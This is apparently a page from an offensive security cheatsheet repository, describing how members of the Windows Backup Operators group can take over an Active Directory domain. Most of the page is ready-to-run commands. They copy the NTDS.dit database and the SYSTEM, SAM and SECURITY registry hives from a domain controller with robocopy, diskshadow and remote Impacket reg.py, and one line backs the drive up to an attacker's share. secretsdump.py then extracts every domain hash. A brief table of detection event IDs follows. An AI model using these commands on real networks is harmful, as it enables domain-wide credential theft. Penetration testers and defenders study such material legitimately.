repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
attack-49-abusing-backup-operators-group.mdMarkdown93 lines4.0 KiBsource raw download

title: "Attack #49 โ€” Abusing Backup Operators Group" description: "Members of Backup Operators have the SeBackupPrivilege and SeRestorePrivilege, which grants them the ability to read and write any file on the system โ€”โ€ฆ" category: active-directory subcategory: "Privilege & Group Abuse" tags: ["active-directory", "privilege-escalation", "hashing"] tools: ["Impacket", "PowerShell"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Six/๐ŸŸฃ Attack #49 โ€” Abusing Backup Operators Group.md"#

๐ŸŸฃ Attack #49 โ€” Abusing Backup Operators Group#


๐Ÿ“– How It Works#

Members of Backup Operators have the SeBackupPrivilege and SeRestorePrivilege, which grants them the ability to read and write any file on the system โ€” bypassing NTFS ACLs entirely. This means a Backup Operator can copy the NTDS.dit database and SYSTEM hive from a DC, extract all domain hashes offline, and achieve full domain compromise.


โš™๏ธ Prerequisites#

Requirement Detail
Membership in Backup Operators Provides SeBackupPrivilege + SeRestorePrivilege
Logon access to DC RDP or WinRM (Backup Operators can log on locally by default)

๐Ÿ’ป Full Commands#

# โ”€โ”€ Verify privileges โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
whoami /priv
# SeBackupPrivilege  = Read any file
# SeRestorePrivilege = Write any file

# โ”€โ”€ Method 1: robocopy backup mode โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
robocopy /B C:\Windows\NTDS C:\Temp ntds.dit
reg save HKLM\SYSTEM C:\Temp\SYSTEM

# โ”€โ”€ Method 2: diskshadow + robocopy โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
# Create diskshadow script:
echo "set context persistent nowriters" > script.txt
echo "add volume C: alias mydrive" >> script.txt
echo "create" >> script.txt
echo "expose %mydrive% Z:" >> script.txt

diskshadow /s script.txt
robocopy /B Z:\Windows\NTDS C:\Temp ntds.dit

# โ”€โ”€ Method 3: wbadmin (Windows Server Backup) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
wbadmin start backup -backuptarget:\\ATTACKER\share -include:C: -quiet
# Then extract NTDS.dit from backup

# โ”€โ”€ Parse offline โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL -outputfile backup_op_dump
# โ”€โ”€ Remote via reg.py (SeBackupPrivilege) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
reg.py corp.local/backup_user:'Password1'@DC01.corp.local save -keyName 'HKLM\SAM' -o SAM
reg.py corp.local/backup_user:'Password1'@DC01.corp.local save -keyName 'HKLM\SYSTEM' -o SYSTEM
reg.py corp.local/backup_user:'Password1'@DC01.corp.local save -keyName 'HKLM\SECURITY' -o SECURITY
secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL

๐Ÿ›ก๏ธ Detection โ€” Event IDs#

Event ID Source What to Look For
4672 Security Log SeBackupPrivilege/SeRestorePrivilege assigned at logon
4663 Security Log Object access โ€” NTDS.dit file read
8222 Security Log Shadow copy created

๐Ÿ”— Attack Chain Context#

[Backup Operators] โ”€โ”€โ†’ SeBackupPrivilege โ†’ read NTDS.dit โ†’ all domain hashes
         โ”‚
         โ”œโ”€โ”€โ†’ ๐Ÿ”— Bypass NTFS ACLs โ†’ copy any file including NTDS.dit
         โ”œโ”€โ”€โ†’ ๐Ÿ”— Offline parsing โ†’ no DCSync needed
         โ””โ”€โ”€โ†’ ๐Ÿ’€ Defeated by: limit Backup Operators membership, monitor privilege use

โœ… Attack #49 โ€” Backup Operators complete.